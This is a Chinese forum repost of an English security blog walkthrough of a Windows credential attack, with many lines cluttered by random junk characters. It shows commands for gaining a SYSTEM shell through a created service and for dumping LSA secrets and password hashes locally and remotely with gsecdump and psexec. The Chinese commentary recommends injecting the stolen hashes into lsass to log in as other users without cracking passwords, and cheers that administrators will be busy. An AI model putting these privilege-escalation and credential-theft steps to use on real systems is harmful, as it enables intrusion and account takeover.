HASH注入式攻击

admin

o get a DOS Prompt as NT system:
2 P: I2 a* ]. o; K. e
3 F9 m. Q0 D* r/ j2 e7 e+ jC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
- v! |/ T+ b" ]
9 G, ?) k, h! L  c4 a5 XC:\>sc start shellcmdline
1 i8 r4 U+ u, C3 Q0 d# `[SC] StartService FAILED 1053:
" j7 P9 A7 v2 O6 ^& \8 [! Q  F
2 r  X- |3 L! l3 a) u8 v! Y( s7 EThe service did not respond to the start or control request in a timely fashion.

9 h) l3 Q; l" ~  \. @C:\>sc delete shellcmdline
- |. a' T, \/ c$ \[SC] DeleteService SUCCESS

------------
% y8 B8 q* r2 E
Then in the new DOS window:
- n! r. j4 R- t0 n
' s% {" \1 G7 zMicrosoft Windows XP [Version 5.1.2600]
" s4 _- b: ~/ q7 q: ?(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
2 \* [2 ^1 [) q9 ^/ j8 BNT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
5 h3 T$ [4 P% K6 {$ q
options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
+ S1 z" {1 H* F  N$ {0 n-w [ --dump_wireless ] dump microsoft wireless connections
$ g. U4 R( l+ z7 |; W& u, U# C- C-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
% s& U: \6 D/ J3 E3 z
Although I like to use:

- N! T" Z$ `6 z! \- S4 `' s) E# R& D: lPsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
! }1 z) y' a; E( R' TSysinternals - 链接标记[url]www.sysinternals.com[/url]
% x& b2 ]& [% d4 z' }, m# B
2 K2 H5 t4 G1 @1 nC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
7 X2 h, v% {& }6 h
to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
7 t# G8 P( h% B: p5 m1 S
! z. D4 x& o0 b; v提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
; t. C4 _% u8 `* U, ?4 D% X  [1 [原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
/ q( Z5 J2 P$ e& ^
+ l* v0 W% j2 B我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。